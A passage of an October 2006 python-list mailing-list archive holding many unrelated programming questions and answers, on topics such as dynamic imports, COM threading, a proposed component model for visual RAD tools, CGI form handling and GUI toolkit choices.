after several retries - I'd be pretty annoyed about this state of 
affairs if I were running the mirror at UKC.

regards
  Steve
-- 
Steve Holden       +44 150 684 7255  +1 800 494 3119
Holden Web LLC/Ltd          http://www.holdenweb.com
Skype: holdenweb       http://holdenweb.blogspot.com
Recent Ramblings     http://del.icio.us/steve.holden


From cameron.walsh at gmail.com  Wed Oct 18 21:51:35 2006
From: cameron.walsh at gmail.com (Cameron Walsh)
Date: Thu, 19 Oct 2006 09:51:35 +0800
Subject: Cannot import a module from a variable
In-Reply-To: <1160920129.886155.112970@b28g2000cwb.googlegroups.com>
References: <1160920129.886155.112970@b28g2000cwb.googlegroups.com>
Message-ID: <eh6llc$gsg$1@enyo.uwa.edu.au>

Hi,

This has actually been answered in a previous post ("user modules"
started by myself), for which I was very grateful.  I have since
expanded on their solutions to create the following code, of which parts
or all may be useful.  You'll probably be most interested in the last
part of the code, from "# Now we actually import the modules" onwards.

>>> import os
>>> import glob
>>> # import_extension_modules(directory)
>>> # Imports all the modules in the sub-directory "directory"
>>> # "directory" MUST be a single word and a sub-directory of that
>>> # name MUST exist.
>>> # Returns then as a dictionary of {"module_name":module}
>>> # This works for both .py (uncompiled modules)
>>> # and .pyc (compiled modules where the source code is not given)
>>> # TODO: Fix limitations above, clean up code.
>>> #
>>> def import_extension_modules(directory):
    previous_directory = os.getcwd()
    try:
        os.chdir(directory)
        uncompiled_files = glob.glob("*.py")
        compiled_files = glob.glob("*.pyc")
        all_files = []
        modules = {}
        for filename in uncompiled_files:
            all_files.append(filename[0:-3]) # Strip off the ".py"
        for filename in compiled_files:
            # Add any pre-compiled modules without source code.
            filename = filename[0:-4] # Strip off the ".pyc"
            if filename not in all_files:
                all_files.append(filename)
        if "__init__" in all_files:
            # Remove any occurrences of __init__ since it does
            # not make sense to import it.
            all_files.remove("__init__")
        # Now we actually import the modules
        for module_name in all_files:
            # The last parameter must not be empty since we are using
            # import blah.blah
            # format because we want modules not packages.
            # see 'help(__import__)' for details.
            module = __import__("%s.%s" %(directory,module_name), None,
None,["some string to make this a non-empty list"])
            modules[module.__name__] = module
        return modules
    finally:
        os.chdir(previous_directory)

>>> user_modules = import_extension_modules("user_modules")
>>> user_modules
{'user_modules.funky_module': <module 'user_modules.funky_module' from
'C:\Projects\module_import_tester\src\user_modules\funky_module.pyc'>}

Woah, that actually works?  Having the "finally" after the "return"?
That could make some things easier, and some things harder...

Hope that helps,

Cameron.


From onurb at xiludom.gro  Mon Oct  2 05:41:15 2006
From: onurb at xiludom.gro (Bruno Desthuilliers)
Date: Mon, 02 Oct 2006 11:41:15 +0200
Subject: strange append
In-Reply-To: <mailman.1071.1159765644.10491.python-list@python.org>
References: <mailman.1071.1159765644.10491.python-list@python.org>
Message-ID: <4520debd$0$15891$636a55ce@news.free.fr>

E.Nurminski wrote:
> Hello to all good people
> 
> I am new to the great Py so am quite puzzled by the following code
> 
> ---------------
> 
> res = []
> x = [ 1, 1 ]
> for i in xrange(0,5):
> 	res.append(x)
> 	x[1] = x[1] + 1
> 	print "x = ", x
> 	print "res = ", res
> 
> ---------------
> 
> Looks like it puts smth like reference to 'x' into 'res' list, instead of 
> value. But if I want a value should I use a different method or what ?

What difference do you make between "values" and "references" ?-)

Hint 1: in Python, all you have are objects. Yes, even strings and
numbers etc...

> Evgeni
> 
> P.S. Could not easily find the issue in the manual/tutorial can you point 
> me out to smth relevant ?
> 

Hint 2 : Python has something very nice which is the interactive python
shell. This lets you try code snippets and see by yourself how it really
works :

bruno at bousin ~ $ python
Python 2.4.3 (#1, Sep 29 2006, 20:26:46)
[GCC 4.1.1 (Gentoo 4.1.1-r1)] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> mylist = [1, "aaa"]
>>> mylist.append(42)
>>> mylist.append("lala")
>>> mylist
[1, 'aaa', 42, 'lala']
>>>

HTH
-- 
bruno desthuilliers
python -c "print '@'.join(['.'.join([w[::-1] for w in p.split('.')]) for
p in 'onurb at xiludom.gro'.split('@')])"


From DustanGroups at gmail.com  Tue Oct  3 18:37:08 2006
From: DustanGroups at gmail.com (Dustan)
Date: 3 Oct 2006 15:37:08 -0700
Subject: Strange sorting error message
Message-ID: <1159915028.355898.40080@b28g2000cwb.googlegroups.com>

I'm hiding some of the details here, because I don't want to say what
I'm actually doing.

I have a special-purpose class with a __cmp__ method all set up and
ready to go for sorting. Then I have a special class that is based on
the builtin type list (though I didn't actually inherit list; I
probably should). When I create an instance with 2 or more items, and
attempt to sort it, I get this strange error message:

>>> myList.sort()
Traceback (most recent call last):
  File "<console>", line 1, in <module>
  File "[listModulePath]", line 239, in sort
    self.listOfObjects.sort()
TypeError: an integer is required

The sort method's code is exactly what you see; it's a one-line method.

The only thing I can think of is the __cmp__ method is returning
something other than an integer, which it's not.



From wolfgang.keller.nospam at gmx.de  Tue Oct 17 15:23:50 2006
From: wolfgang.keller.nospam at gmx.de (Wolfgang Keller)
Date: Tue, 17 Oct 2006 21:23:50 +0200
Subject: Book about database application development?
References: <0001HW.C157FA8900644D9AF0407530@news.individual.de>
	<7xlknhg2rz.fsf@ruckus.brouhaha.com>
	<0001HW.C158378C00729A42F0407530@news.individual.de>
	<453352d4$0$12918$426a34cc@news.free.fr>
	<0001HW.C159B10900A0DF8AF0407530@news.individual.de>
	<8Z4Zg.6659$5i7.274@newsreading01.news.tds.net>
Message-ID: <0001HW.C15AFA6600D738B5F0488530@news.individual.de>

> Maybe you would like Martin Fowler's "Patterns of Enterprise Application 
> Architecture" http://martinfowler.com/books.html#eaa 

Thanks, this one is already on my list, just like "Data Access Patterns" from 
the same publisher.
 
> Examples are mostly Java and C#, sorry!

Which is precisely the reason why I wanted to make sure there really is 
nothing else before I buy.

*sigh* I thought with Delphi being quite popular for database applications, 
there should be _something_.

Sincerely,

Wolfgang Keller

-- 
My email-address is correct.
Do NOT remove ".nospam" to reply.



From nyamatongwe+thunder at gmail.com  Tue Oct 17 09:25:18 2006
From: nyamatongwe+thunder at gmail.com (Neil Hodgson)
Date: Tue, 17 Oct 2006 13:25:18 GMT
Subject: COM Error -- Urgent help
In-Reply-To: <1161078213.486982.99970@i3g2000cwc.googlegroups.com>
References: <1161060922.492588.250930@f16g2000cwb.googlegroups.com>
	<45347682$0$25906$ba4acef3@news.orange.fr>
	<1161070831.102884.37930@e3g2000cwe.googlegroups.com>
	<mailman.619.1161071484.11739.python-list@python.org>
	<1161071939.165951.221510@i42g2000cwa.googlegroups.com>
	<Ut0Zg.8114$Lv3.7352@newsread1.news.pas.earthlink.net>
	<1161076029.101436.3850@e3g2000cwe.googlegroups.com>
	<4pjl6qFj58saU1@uni-berlin.de>
	<1161078213.486982.99970@i3g2000cwc.googlegroups.com>
Message-ID: <2R4Zg.48778$rP1.7001@news-server.bigpond.net.au>

Teja:

> ie=win32com.client.Dispatch('internetexplorer.application')
> ie.Visible=1
> 
> class GenericFunctions:
>     def __init__(self):
>         print "In Constructor of Generic Functions"
>     def MyNavigate(self,dest):
>         ie.Navigate(dest)

    You are using an interface created on the main thread here.

>...
>         d=pythoncom.CoGetInterfaceAndReleaseStream(s,
> pythoncom.IID_IDispatch)
>         my_ie=win32com.client.Dispatch(d)
>         #d.MyNavigate(dest)
>         obj.MyNavigate(dest)          # this is gving an error.

    After all the trouble of marshalling the interface into this thread 
you aren't using it. Pass my_ie to MyNavigate. I also had some errors 
before changing from thread to threading.

    Neil


From eldiener_no_spam_here at earthlink.net  Mon Oct  9 15:36:07 2006
From: eldiener_no_spam_here at earthlink.net (Edward Diener No Spam)
Date: Mon, 09 Oct 2006 19:36:07 GMT
Subject: Python component model
In-Reply-To: <mailman.130.1160418618.11739.python-list@python.org>
References: <W5wWg.7118$Y24.2917@newsread4.news.pas.earthlink.net>
	<mailman.130.1160418618.11739.python-list@python.org>
Message-ID: <HwxWg.5035$Lv3.2259@newsread1.news.pas.earthlink.net>

skip at pobox.com wrote:
>     Edward> The definition of a component model I use below is a class which
>     Edward> allows properties, methods, and events in a structured way which
>     Edward> can be recognized, usually through some form of introspection
>     Edward> outside of that class. This structured way allows visual tools
>     Edward> to host components, and allows programmers to build applications
>     Edward> and libraries visually in a RAD environment.
> 
>     ...
>     Edward> I believe that Python should have a common components model for
>     Edward> all RAD development environments, as that would allow the Python
>     Edward> programmer to create a set of classes representing components
>     Edward> which would work in any environment.
> 
> Having never used java or .NET I'm not sure what you're looking for.  Does
> Python's current introspection not work?  Is it someone too unstructured
> (whatever "structured" means)?  Can you give a simple example?

In the typical RAD development environment, a particular component model 
allows one to drop components, which are classes corresponding to a 
particular inner representation which tells the development environment 
what are the "properties" and "events" of that component, and 
subsequently set "properties" for that component and add handlers for 
its "events" visually.

Subsequently When the components are instantiated at run-time, the 
particular "properties" are automagically set and the particular 
"events" are automagically tied to event handlers in other classes ( 
usually a window, or form, although it can be in any other class which 
can handle events ). How this "automagically" is done depends on the 
visual development environment.

I find it very neat that I, the end-user of the component, does not have 
to write the boiler-plate code to set "properties" and hook up "events" 
and can do this visually. I realize that others may find this 
unimportant. But in a visual environment where not only non-viusual 
components are involved, but also visual GUI components are, this also 
allows the visual look of a particular window ( form or screen if you 
like ) to be composed automatically. At the same time hooking non-visual 
components automagically at design time so that they are connected at 
run-time to event handlers is also very nice.

In order to make such a system work, the visual RAD environment needs to 
know what in a class makes it a component, and what in that components 
specifies the "properties" and "events" for which it will automagically 
setup the correct "code" which works at run-time. Without a component 
model to tell it these things, it can not work to produce the 
boiler-plate code necessary to set "properties" and hook event handlers 
to an event.

In JavaBeans, for Java, and the System.ComponentModel namespace, as well 
as properties, delegates, and events in .Net, there exists a common 
component model which defines, in these environments, what a components 
is so that the visual RAD development can do its magic.

I realize that many Python programmers don't see the necessity for 
having a RAD visual devlopment environment doing for them what they can 
do by hand in their Python code, particularly in the constructor to 
classes. But there are people who have used such a RAD model, 
particularly when setting up a GUI application or Web application, who 
appreciate the ease of use of such a RAD visual environment, especially 
in the area of dropping visual controls on a window and having that 
window appear at run-time with the particular look which they have 
visually setup at design time. But even beyond the more common visual 
setup of a window or web page, a visual RAD environment allows the 
end-user programmer to visually create boiler-plate code for setting the 
"properties" and "events" of non-visual classes, which make up the 
greater part of the internal logic of any given program.

More importantly a common component model, which works in any language's 
visual RAD environment, enables the development and re-use of components 
which are as easily used as dropping that component from a component 
palette onto a visual container, usually a representation of a run-time 
window, and setting it's "properties" and/or "events". The visual 
manipulation of components does not preclude making manipulations at 
run-time through code also if necessary, and all visual environements 
allow the setting of "properties" and "events" at run-time also in the 
usual way.

If one has used Borland's Delphi or C++ Builder IDEs, or Sun's NetBeans 
or IBM's Eclipse for Java, or Microsoft's Visual Studio for .Net, one 
knows what I mean as far as a visual RAD environment. All of these are 
made possible by a common component model which different development 
environments can use.

There's nothing wrong with Python's introspection. In fact Python's 
facilities in this area and its support for metadata are stronger than 
any of these other languages ! However there is no common component 
model which specifies that X is a "property" or Y is an "event" of a 
Python class which can be visually manipulated at design-time and 
automagically set at run-time, so that any given Python RAD visual 
environment will treat a Python class, specified as a component, in 
exactly the same way. Also in these other languages, a component is 
different from a class in that a component is recognized in a particular 
way, often so that the component can interact if necessary with its 
container and/or visual site.

OK, I have proselytized enough <g>. Python is a great language and I 
truly love it and its flexibility and ease of programming use. If there 
is no impetus to create a component model for re-usable components for 
visual RAD environments in Python, that's fine with me. But I thought 
someone from the Python development community, given the use of visual 
RAD environments for other languages as mentioned above, to create GUI 
and large-scale applications, would have considered it.


From john106henry at hotmail.com  Thu Oct 26 12:45:07 2006
From: john106henry at hotmail.com (John Henry)
Date: 26 Oct 2006 09:45:07 -0700
Subject: Dealing with multiple sets
In-Reply-To: <ehp565$4ok$1@eeyore.INS.cwru.edu>
References: <1161821282.846050.184360@e3g2000cwe.googlegroups.com>
	<ehp565$4ok$1@eeyore.INS.cwru.edu>
Message-ID: <1161881107.646688.185380@f16g2000cwb.googlegroups.com>

Oh, great.  Learn something new everyday.

For this, what I did was to build up a string, and then use eval on the
string.  Very ugly.

Now I can simply do a reduce.

Thanks,



Brian Beck wrote:
> John Henry wrote:
> > What's the cleanest way to say:
> >
> > 1) Give me a list of the items that are in all of the sets? (3 in the
> > above example)
> > 2) Give me a list of the items that are not in all of the sets? (1,2 in
> > the above example)
> >
> > Thanks,
>
> If you have an arbitrary list of sets, reduce comes in handy:
>
> See this recipe:
> http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/476215
>
> py> sets = [set((1, 2, 3)), set((2, 3)), set((1, 3))]
> py> reduce(set.intersection, sets)
> set([3])
>
> py> reduce(set.union, sets)
> set([1, 2, 3])
>
> py> reduce(set.union, sets) - reduce(set.intersection, sets)
> set([1, 2])
> 
> --
> Brian Beck
> Adventurer of the First Order



From jiang.haiyun at gmail.com  Sun Oct 29 01:49:13 2006
From: jiang.haiyun at gmail.com (jiang.haiyun at gmail.com)
Date: 28 Oct 2006 22:49:13 -0700
Subject: Python crashed when importing SOAPpy,
	printing out 'usage:copy source destination'
References: <1162026431.149026.215510@h48g2000cwc.googlegroups.com>
	<mailman.1396.1162027206.11739.python-list@python.org>
	<1162048580.109664.80120@f16g2000cwb.googlegroups.com>
	<mailman.1405.1162049391.11739.python-list@python.org>
Message-ID: <1162100953.488769.277110@i42g2000cwa.googlegroups.com>

Fredrik Lundh wrote:
> jiang.haiyun at gmail.com wrote:
>
> > I still can't understand it. If i rename the 'copy.py' to 'a.py',
> > there will be no problem.
>
> hint: when it works, try typing the following into the interpreter:
>
>      >>> import copy
>      >>> copy.__file__
>
> </F>

I know, the copy module is imported by the SOAPpy module.
But SOAPpy imported an un-proper one from the CWD.

 Thank you very much :)

>Regards,
>jiang.haiyun



From cesar.ortiz at gmail.com  Mon Oct  9 06:01:36 2006
From: cesar.ortiz at gmail.com (cesar.ortiz at gmail.com)
Date: 9 Oct 2006 03:01:36 -0700
Subject: Memory Management in python 2.5
In-Reply-To: <mailman.105.1160385400.11739.python-list@python.org>
References: <1160383218.694248.198570@b28g2000cwb.googlegroups.com>
	<mailman.105.1160385400.11739.python-list@python.org>
Message-ID: <1160388096.896262.212990@m73g2000cwd.googlegroups.com>

I just checked the comsuptiom with the 'top' unix util. I am procesing
html docs and the amount of memory rises continiously.
I am using a lot of lists and docs. Some of them with objects. Do i
have to make any special thing in order to get them released back to
the Memory Manager? For instantec.. is it enough to do a clear() in a
dictionary?

-- Cesar



From eldiener_no_spam_here at earthlink.net  Sat Oct 14 06:00:23 2006
From: eldiener_no_spam_here at earthlink.net (Edward Diener No Spam)
Date: Sat, 14 Oct 2006 10:00:23 GMT
Subject: Python component model
In-Reply-To: <1160692692.522474.96540@i42g2000cwa.googlegroups.com>
References: <W5wWg.7118$Y24.2917@newsread4.news.pas.earthlink.net>
	<mailman.130.1160418618.11739.python-list@python.org>
	<HwxWg.5035$Lv3.2259@newsread1.news.pas.earthlink.net>
	<mailman.141.1160429886.11739.python-list@python.org>
	<1VzWg.7212$Y24.1666@newsread4.news.pas.earthlink.net>
	<1160692692.522474.96540@i42g2000cwa.googlegroups.com>
Message-ID: <Xy2Yg.9121$Y24.4810@newsread4.news.pas.earthlink.net>

Peter Wang wrote:
> Edward Diener wrote:
>> It looks as if traits is an attempt to create a "property" in the
>> component terminology which I originally specified. I will take a look
>> at it.
> 
> Traits is frighteningly similar to the requirements that you laid out
> in your post (the example for Skip), including delegates!  I would like
> to point out, however, that traits is a *general* component framework
> for python that facilitates implementing the observer pattern and a
> higher level of introspection.  It can be used to build applications
> that have no visual interfaces at all, but wish to benefit from the
> "reactive programming" style that componentized, event-based
> programming encourages.  (induces?)

Thanks for the explanation. I was too quick in seeing Traits as only a 
version of properties without realizing that it included much more.

> 
> Traits UI, which Robert only alluded to, is actually very much the sort
> of RAD environment you have described.  It builds upon the component
> model, and uses introspection to automagically create nice widgets for
> your model, but adds mechanisms for specifying controllers, customizing
> behavior, and generically composing complicated forms from simpler
> ones.  There is even a visual "builder" tool for it called VET that
> closely resembles Delphi/C++ Builder.  (The VET itself is, of course,
> written using Traits UI.)

I have downloaded both Traits and Traits UI and will look at both.

> 
> Envisage, the plugin application framework, can use the traits
> component models and the TraitsUI interfaces to roll out very dynamic
> applications, whose underlying models are all live components that can
> be scripted, twiddled with from an embedded Python shell, etc.
> 
>> Already subscribed. Thanks !
> 
> Please contribute ideas or ask conceptual questions!

It would be easier for me if you could get an NG somewhere for 
Enthought, perhaps on GMane, since I always find mailing lists much more 
clunky than a good NG. But that is up to Enthought.

> 
> Oh, and disclaimer: I also work at enthought. :)

That's fine. It is the ideas about a PME component model for Python in 
which I was interested, no matter where it originates. Thanks for the 
encouraging reply.


From Benjamin.Barker at gmail.com  Sun Oct  8 07:12:02 2006
From: Benjamin.Barker at gmail.com (Ben)
Date: 8 Oct 2006 04:12:02 -0700
Subject: Bizzare lst length problem
Message-ID: <1160305922.469319.138520@i42g2000cwa.googlegroups.com>

Hello...hopefully my last question :-)

I ave a dictionary, where each value is a class instance. I access it
using:

for k, v in self.panels.panel_list.items():
                print "Number:\t",v.number
                print "Level:\t",v.level
                print "Location:\t",v.location
                print "MOPS:\t",v.mops
                print "List length:\t",len(v.mops)
                print "Matrix:\t",v.matrix,"\n\n"

The output from this would be (for a given key value):
                Number:	181
                Level:	ovride+supvis
                Location:	 mons=4 v8.0 3rd floor
                MOPS:	['287', '288', '289', '290']
                List Length:	28
                Matrix:	kng

This is really odd...my len(v.mops) ought to return 4 (4 elements in
the list). In fact it returns 28. looking at outputs from lots of
records, it seems that the length is almost always 7 time too great
(28/7=4)....but not always. This is really confusing...can anyon
suggest what is going on?

I've been trying to output the list elements as a string with equally
limmited success, but the thing seems so simple I can't see where the
prblem might lie....

Cheers,

Ben



From srikrishnamohan at gmail.com  Fri Oct  6 15:50:43 2006
From: srikrishnamohan at gmail.com (km)
Date: Sat, 7 Oct 2006 01:20:43 +0530
Subject: psycopg: tz import error
Message-ID: <f4cc03640610061250o3448d128u57006fa1742e0808@mail.gmail.com>

Hi all,

i have python 2.4.3 and 2.5 versions installed default python interpreter
being  2.5
have compiled psycopg2 with python2.4.3 setup.py.install , it installs in
site-setup of 2.4.3 but when i login as a normal user and get into
interctive python prompt of 2.4.3 ,  and " import tz " fails to import.
do i need to set any env variable specially for 2.4.3 ?

regards,
KM
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From jiang.haiyun at gmail.com  Tue Oct 24 01:07:39 2006
From: jiang.haiyun at gmail.com (jiang.haiyun at gmail.com)
Date: 23 Oct 2006 22:07:39 -0700
Subject: python GUIs comparison (want)
Message-ID: <1161666459.401958.267280@i42g2000cwa.googlegroups.com>

Now i began to learn GUI programming. There are so many
choices of GUI in the python world, wxPython, pyGTK, PyQT,
Tkinter, .etc, it's difficult for a novice to decide, however.
Can you draw a comparison among them on easy coding, pythonish design,
beautiful and generous looking, powerful development toolkit, and
sufficient documentation, .etc.
It's helpful for a GUI beginner.
Thank you.


:)Sorry for my poor english.



From steve at holdenweb.com  Tue Oct 24 16:43:59 2006
From: steve at holdenweb.com (Steve Holden)
Date: Tue, 24 Oct 2006 21:43:59 +0100
Subject: Simple python + html + from --> to python script
In-Reply-To: <1161722017.705987.78760@m7g2000cwm.googlegroups.com>
References: <1161722017.705987.78760@m7g2000cwm.googlegroups.com>
Message-ID: <ehltse$fqs$1@sea.gmane.org>

flit wrote:
> Hello All,
> 
> I am trying to get information from a form and send it to a python
> script without success..
> Here is my objective:
> 
> User enters data in form --> form send variables to python script -->
> script runs and output result.
> 
> the form code
> 
> <form method="post" action="/cgi-bin/script.py" name="coord">Entre com
> os dados <input name="data1"><br>
> 
> Entre com os dados <input name="data2"><br>
> Vai magraum <button name="submete"></button></form>
> 
> In my script.py
> 
> What I should have to print
> something like
> 
> Hello the data1 + data 2 = ....
> 
> ?
> 
> Maybe I am stumbling in something very simple, but I cannot find some
> working example, and I am totally confused...
> Thanks in advance
> 
Untested, without error checking. Caveat emptor:

import cgi
import cgitb; cgitb.enable() # optional error handling

form = cgi.FieldStorage()

d1 = form["data1"].value
d2 = form["data2"].value

print """\
Content-type: text/plain

Hello: the data were: %s and %s""" % (d1, d2)

regards
  Steve
-- 
Steve Holden       +44 150 684 7255  +1 800 494 3119
Holden Web LLC/Ltd          http://www.holdenweb.com
Skype: holdenweb       http://holdenweb.blogspot.com
Recent Ramblings     http://del.icio.us/steve.holden



From jg307 at cam.ac.uk  Sat Oct  7 09:50:05 2006
From: jg307 at cam.ac.uk (James Graham)
Date: Sat, 07 Oct 2006 14:50:05 +0100
Subject: Python to use a non open source bug tracker?
In-Reply-To: <mailman.23.1160214637.11739.python-list@python.org>
References: <22pUg.132825$zy5.1820633@twister1.libero.it><7xk63h232z.fsf@ruckus.brouhaha.com>	<eftfoe$l8n$1@sea.gmane.org><mailman.1155.1159876666.10491.python-list@python.org><mailman.1163.1159879479.10491.python-list@python.org><fxJUg.134222$zy5.1829414@twister1.libero.it><ue6dnQBgEPPCMr7YnZ2dnUVZ_rqdnZ2d@speakeasy.net><eg0bo2$obu$1@nnrp.ngi.it>	<45240FD5.3050705@v.loewis.de><4n4Vg.135913$_J1.898276@twister2.libero.it><f4rfv3-vhg.ln1@nb2.stroeder.com>	<45254B18.2090806@v.loewis.de><mailman.1379.1160075929.10491.python-list@python.org><YzoVg.137036$zy5.1843214@twister1.libero.it><7x3ba1ltvj.fsf@ruckus.brouhaha.com>	<mailman.1457.1160140815.10491.python-list@python.org>	<H_IVg.138311$zy5.1854132@twister1.libero.it>
	<mailman.23.1160214637.11739.python-list@python.org>
Message-ID: <W4idndSTF_NHLbrYnZ2dnUVZ8sidnZ2d@pipex.net>

Steve Holden wrote:
> Giovanni Bajo wrote:
> [...]
>>
>> I understand your concerns, but I have to remember you that most bug 
>> reports
>> submitted by users go totally ignored for several years, or, better, 
>> forever. I
>> do not have a correct statistic for this, but I'm confident that at 
>> least 80%
>> of the RFE or patches filed every week is totally ignored, and 
>> probably at
>> least 50% of the bugs too. I think there is a much bigger problem here 
>> wrt QOS.
>>
>> So, you might prefer 6-10 people to activate a new tracker account 
>> faster than
>> light. I'd rather have 3-days delay in administrative issues because 
>> our single
>> administrator is sleeping or whatever, and then have 2-3 people doing 
>> regular
>> bug processing.
> 
> ... and if wishes were horses then beggars would ride.

FWIW, this situation (few administrators compared to the number of 
community members involved in triage) is basically the situation for the 
Mozilla project's bug database (which is a bugzilla install, of course), 
This was the case even before the corporation was founded so it's not a 
funding issue. My impression has always been that people who kept the 
bug database clean (moving things to the right component, hunting out 
duplicates, verifying fixes, and so on) are seen as vital and accorded 
appropriate respect by the Mozilla development community.

I don't think I have any specific point to make except, perhaps, that by 
making the right noises, it is quite possible to get a useful number of 
people helping with bug processing work.


From matthew_j_warren at hotmail.com  Thu Oct 19 09:57:24 2006
From: matthew_j_warren at hotmail.com (MatthewWarren)
Date: 19 Oct 2006 06:57:24 -0700
Subject: wxPython help wxSashWindow
Message-ID: <1161266243.991025.174530@m7g2000cwm.googlegroups.com>

Hi, I'm wondering if anyone can tell me here, or point to a specific
tutorial (  I have searched for 1/2hour, but can find only reference
style docs or not-quite-what-im-after help) on how to build a
wxSashWindow in wxPython. I'm just starting out with wxPython, and the
first thing i need to do is use 3 sash windows, 1 split vertically, and
on the left and right of that a SashWindow splitting horizontally. I
can make frames, buttons, use sizers etc.. as they are fairly
intuitive, but SashWindow and SashLayoutWindow have stumped me.

Thanks,

Matt.



From sturlamolden at yahoo.no  Sat Oct 21 10:24:04 2006
From: sturlamolden at yahoo.no (sturlamolden)
Date: 21 Oct 2006 07:24:04 -0700
Subject: Tkinter--does anyone use it for sophisticated GUI development?
In-Reply-To: <4538dd3b$0$24774$426a74cc@news.free.fr>
References: <7cd5f$4537d1ef$4275d90a$20512@FUSE.NET>
	<4538dd3b$0$24774$426a74cc@news.free.fr>
Message-ID: <1161440644.300080.198790@b28g2000cwb.googlegroups.com>


Christophe wrote:

> Nobody mentionned it, but I think you should try PyQT and PyGTK before
> wxPython. Myself, I do not like wx : it looks too much like the MFC.
>
> PyGTK is good, but GTK doesn't work that well on windows.

GTK and PyGTK works well on Windows now. GTK used to be unstable on
Windows, but that has been taken care of. I would not use anything else
but PyGTK for GUI development in Python. Go here to get the Windows
port:

http://www.mapr.ucl.ac.be/~gustin/win32_ports/

With PyGTK and GLADE, the GUI can be designed in GLADE and imported as
an XML-resource (using libglade). It saves us of all the tedious
GUI-programming. All that is needed is the event handlers, which we
obviously have to code. When they are done, we simply put references to
them in a dictionary, and tell libglade to dispacth on it. All the GUI
programming crap is hidden away. Since there is no actual GUI code in
Python, it also makes maintenance and upgrading much easier: The GUI
can be redesigned in GLADE without affecting the Python code. Have you
ever tried to change anything in an MFC project with Visual C++? It's a
nightmare.



From eldiener_no_spam_here at earthlink.net  Tue Oct 10 09:04:10 2006
From: eldiener_no_spam_here at earthlink.net (Edward Diener No Spam)
Date: Tue, 10 Oct 2006 13:04:10 GMT
Subject: Python component model
In-Reply-To: <mailman.203.1160480048.11739.python-list@python.org>
References: <W5wWg.7118$Y24.2917@newsread4.news.pas.earthlink.net>	<452aeed2$0$8740$ed2619ec@ptn-nntp-reader02.plus.net>	<UVDWg.12152$UG4.2954@newsread2.news.pas.earthlink.net>	<1160467516.602655.169920@c28g2000cwb.googlegroups.com>	<7xlknotwuy.fsf@ruckus.brouhaha.com>	<4p14h4Fgk9jaU1@uni-berlin.de>	<mailman.196.1160474180.11739.python-list@python.org>	<4p1dobFgqul0U1@uni-berlin.de>
	<mailman.203.1160480048.11739.python-list@python.org>
Message-ID: <eTMWg.12228$UG4.6278@newsread2.news.pas.earthlink.net>

Steve Holden wrote:
> Diez B. Roggisch wrote:
> [...]
>>> Just the same, one can use IronPython to call components written in
>>> other languages. And, I believe, vice versa.
>>
>>
>> Sure, as I can do it in jython. But the key point is: can your ordinary
>> python-object be published as a component? At least for jython I can
>> say "no", you will have to subclass an already existing
>> java-object/interface. And I have difficulties imagining that it is any
>> different in .NET - because I've read statements that claimed that the
>> structure of the VM/runtime is orientied towards single-inheritance
>> statically typed languages as C#/java.
>>
> The answer to this question is currently beyond me. Maybe someone who 
> knows more about IronPython can elucidate. I do know (as you probably do 
> also) that Python generates code for the .NET CLR, however.

I am not sure about current IronPython functionality but the end result 
is that one should be able to create .Net components and classes using 
Python with IronPython just as one does in C#, C++/CLI, or VB .NET.

But this is not creating a component model for Python except in the .Net 
environment, which essentially means Windows unless IronPython will work 
under Mono, and Microsoft does not kill Mono. I don't think all those 
"ifs" is something a Python programmer wants to deal with in possible 
RAD component development.


From Matthew.Warren at Digica.com  Wed Oct 18 05:13:12 2006
From: Matthew.Warren at Digica.com (Matthew Warren)
Date: Wed, 18 Oct 2006 10:13:12 +0100
Subject: making a valid file name...
In-Reply-To: <1161102165.272182.207990@m73g2000cwd.googlegroups.com>
Message-ID: <D4F9316ACC9D20489CC81D19B8A87D5B03CDAC96@UKEX01.Digica.local>

 
> 
> Hi I'm writing a python script that creates directories from user
> input.
> Sometimes the user inputs characters that aren't valid 
> characters for a
> file or directory name.
> Here are the characters that I consider to be valid characters...
> 
> valid =
> ':./,^0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ '
> 
> if I have a string called fname I want to go through each character in
> the filename and if it is not a valid character, then I want 
> to replace
> it with a space.
> 
> This is what I have:
> 
> def fixfilename(fname):
> 	valid =
> ':.\,^0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ '
> 	for i in range(len(fname)):
> 		if valid.find(fname[i]) < 0:
> 			fname[i] = ' '
>        return fname
> 
> Anyone think of a simpler solution?
> 

I got;

>>> import re
>>> badfilename='?"%^"?^"?$^ihgeroighroeig3645^?$^"knovin98u4#346#1461461'
>>> valid=':./,^0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ '
>>> goodfilename=re.sub('[^'+valid+']',' ',badfilename)
>>> goodfilename
'   ^  ^   ^ihgeroighroeig3645^  ^ knovin98u4 346 1461461'



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From XX.XmcX at XX.XmclaveauX.com  Sat Oct  7 15:48:18 2006
From: XX.XmcX at XX.XmclaveauX.com (MC)
Date: Sat, 07 Oct 2006 21:48:18 +0200
Subject: How to execute a python script in .NET application
References: <1160175618.029261.43440@i3g2000cwc.googlegroups.com>
Message-ID: <mn.3d1c7d6a9fc64956.46195@XX.XmclaveauX.com>

Hi!

dotNET can use (call) COM-servers

In pywin, there are exemple of COM-server, in Python, who can run 
(on-the-fly) Python code.

This give a way for run Python's scripts from dotNET, Excel, Word, 
Internet-Explorer (HTA), C#, etc.  I have try all these things, with 
success.

-- 
@-salutations

Michel Claveau




From gagsl-py at yahoo.com.ar  Mon Oct 23 21:16:58 2006
From: gagsl-py at yahoo.com.ar (Gabriel Genellina)
Date: Mon, 23 Oct 2006 22:16:58 -0300
Subject: Trouble with property
In-Reply-To: <1161646086.830038.51080@m7g2000cwm.googlegroups.com>
References: <1161646086.830038.51080@m7g2000cwm.googlegroups.com>
Message-ID: <7.0.1.0.0.20061023221455.05c9d378@yahoo.com.ar>

At Monday 23/10/2006 20:28, Odalrick wrote:

>I'm having some trouble with using property. This class is supposed to
>represent a rectangle that can never be outside an area.
>
>class ConstrainedBox:
># The property that is causing grief
>         linear_size = property( _get_linear_size, _set_linear_size )
>
>By adding some logging I found out that _set_linear_size never is
>called, so the rectangle remains the default size forever.

You must use a new-style class for properties to work. That is: class 
ConstrainedBox(object):

-- 
Gabriel Genellina
Softlab SRL 

__________________________________________________
Correo Yahoo!
Espacio para todos tus mensajes, antivirus y antispam ?gratis! 
?Abr? tu cuenta ya! - http://correo.yahoo.com.ar


From alistair.king at helsinki.fi  Mon Oct 30 12:20:02 2006
From: alistair.king at helsinki.fi (Alistair King)
